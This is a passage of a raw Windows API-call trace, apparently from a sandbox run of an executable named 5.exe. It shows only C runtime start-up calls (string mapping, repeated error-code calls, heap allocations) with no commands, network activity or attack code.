¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ熠띤뺺CĀ") returned 256 [0055.804] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ熠띤뺺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0055.804] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ熠띤뺺CĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0055.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x93\x33\x7d\xb7\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0055.804] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x5027b0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe")) returned 0x56 [0055.804] GetLastError () returned 0x0 [0055.804] SetLastError (dwErrCode=0x0) [0055.804] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.805] GetLastError () returned 0x0 [0055.805] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.806] SetLastError (dwErrCode=0x0) [0055.806] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.807] GetLastError () returned 0x0 [0055.807] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.808] GetLastError () returned 0x0 [0055.808] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.809] SetLastError (dwErrCode=0x0) [0055.809] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.810] GetLastError () returned 0x0 [0055.810] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x0, Size=0x5f) returned 0x1f11990 [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.811] SetLastError (dwErrCode=0x0) [0055.811] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.812] SetLastError (dwErrCode=0x0) [0055.812] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.813] GetLastError () returned 0x0 [0055.813] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.814] GetLastError () returned 0x0 [0055.814] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.815] SetLastError (dwErrCode=0x0) [0055.815] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.816] SetLastError (dwErrCode=0x0) [0055.816] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.817] SetLastError (dwErrCode=0x0) [0055.817] GetLastError () returned 0x0 [0055.818] SetLastError (dwErrCode=0x0) [0055.818] GetLastError () returned 0x0 [0055.818] SetLastError (dwErrCode=0x0) [0055.818] GetLastError () returned 0x0 [0055.818] SetLastError (dwErrCode=0x0) [0055.818] GetLastError () returned 0x0 [0055.818] SetLastError (dwErrCode=0x0) [0055.818] GetLastError () returned 0x0 [0055.818] SetLastError (dwErrCode=0x0) [0055.818] GetLastError () returned 0x0 [0055.818] SetLastError (dwErrCode=0x0) [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x98) returned 0x1f119f8 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1f) returned 0x1f11a98 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x36) returned 0x1f11ac0 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x37) returned 0x1f11b00 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x3c) returned 0x1f11b40 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x31) returned 0x1f11b88 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x17) returned 0x1f11bc8 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x24) returned 0x1f11be8 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x14) returned 0x1f11c18 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0xd) returned 0x1f11c38 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x25) returned 0x1f11c50 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x39) returned 0x1f11c80 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x18) returned 0x1f11cc8 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x17) returned 0x1f11ce8 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0xe) returned 0x1f11d08 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x69) returned 0x1f11d20 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x3e) returned 0x1f11d98 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1b) returned 0x1f11de0 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1d) returned 0x1f11e08 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x48) returned 0x1f11e30 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x12) returned 0x1f11e80 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x18) returned 0x1f11ea0 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1b) returned 0x1f11ec0 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x24) returned 0x1f11ee8 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x29) returned 0x1f11f18 [0055.818] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1e) returned 0x1f11f50 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x41) returned 0x1f11f78 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x17) returned 0x1f11fc8 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0xf) returned 0x1f11fe8 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x16) returned 0x1f12000 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x2a) returned 0x1f12020 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x29) returned 0x1f12058 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x15) returned 0x1f12090 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1e) returned 0x1f120b0 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x2a) returned 0x1f120d8 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x12) returned 0x1f12110 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x18) returned 0x1f12130 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x46) returned 0x1f12150 [0055.819] HeapFree (in: hHeap=0x1f10000, dwFlags=0x0, lpMem=0x1f111f8 | out: hHeap=0x1f10000) returned 1 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x800) returned 0x1f121a0 [0055.819] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x80) returned 0x1f111f8 [0055.820] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.820] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.820] SetUnhandledExceptionFilter 